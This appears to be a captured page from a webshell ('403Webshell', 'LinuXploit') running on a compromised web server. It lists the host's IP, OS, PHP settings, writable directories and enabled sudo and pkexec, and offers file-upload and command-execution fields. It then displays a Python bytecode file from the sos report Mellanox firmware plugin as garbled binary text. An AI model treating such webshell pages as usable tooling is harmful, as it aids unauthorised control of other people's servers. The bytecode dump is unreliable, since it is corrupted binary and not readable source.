403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/mellanox_firmware.cpython-39.pyc
a

ܓ�i��@s6ddlZddlZddlmZmZGdd�dee�ZdS)�N)�Plugin�IndependentPluginc@s8eZdZdZdZdZdZdZdd�Zdd	�Z	d
d�Z
dS)
�MellanoxFirmwarez&Nvidia(Mellanox) firmware tools outputZmellanox_firmware)Zhardware�system)ZmstZmstflintzMellanox TechnologiescCs$|�d�}|ddko"|j|dvS)z�
        Checks if this plugin should be executed at all.
        We will only enable the plugin if there is a
        Mellanox Technologies network adapter
        �lspci -D -d 15b3::0200�statusr�output)�exec_cmd�MLNX_STRING)�selfZlspci�r�H/usr/lib/python3.9/site-packages/sos/report/plugins/mellanox_firmware.py�
check_enableds
zMellanoxFirmware.check_enabledcCs�|�d�s|�d�dS|�d�}|ddkr2dS|�d�}|ddkrLdS|�d�|jdd	d
�|jdd	d
�t�d�}g}|D]}d
|vr�|�|�q�|D]0}|jd|�d�d	d
�|jd|�d�d	d
�q�|jddd�dS)NZallow_system_changesztSkipping mst/mlx cable commands as system changeswould be made. Use --allow-system-changes toenable this collection.�flint --versionrrz	mst startz
mst cable addz
mst status -v�
��timeout�	mlxcablesz/dev/mstZcablez
mlxcables -d z --DDMz --dumpzmst stopT)Zchanges)Z
get_optionZ	_log_infor	�collect_cmd_output�os�listdir�append)r�coutr�deviceZmlxcablerrr
�collect#s2





��zMellanoxFirmware.collectc		Cs g}|�d�}|ddkrdS|d��D]}|�|dd�d�q*t|�}g}|�d�}|ddkr�dd	gd
dgd
dgd
dgddgg}n.ddgdd	gddgddgddgddgddgg}|D]\}|D]*}|j|d�d|�d|d��dd�q�td�D]}|�d|���t�d�q�q�dS)Nrrrr�z00.0rz
mstconfig -d z -e qzmstflint -d z dcz qz
mstreg -d z --reg_name ROCE_ACCL --getzmstlink -d �zmlxdump -d z pcie_uc --allz	flint -d z
mlxreg -d zmlxlink -d zfwtrace -d z -i all --tracer_mode FIFO� ��r�zmstdump )	r�
splitlinesr�setr	Zadd_cmd_output�range�time�sleep)	rZdevicesZdevice_list�lineZcommandsrrZcommand�_rrr
�setupCsD

��	��zMellanoxFirmware.setupN)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesr
rrr(rrrr
rs	 r)rr$Zsos.report.pluginsrrrrrrr
�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit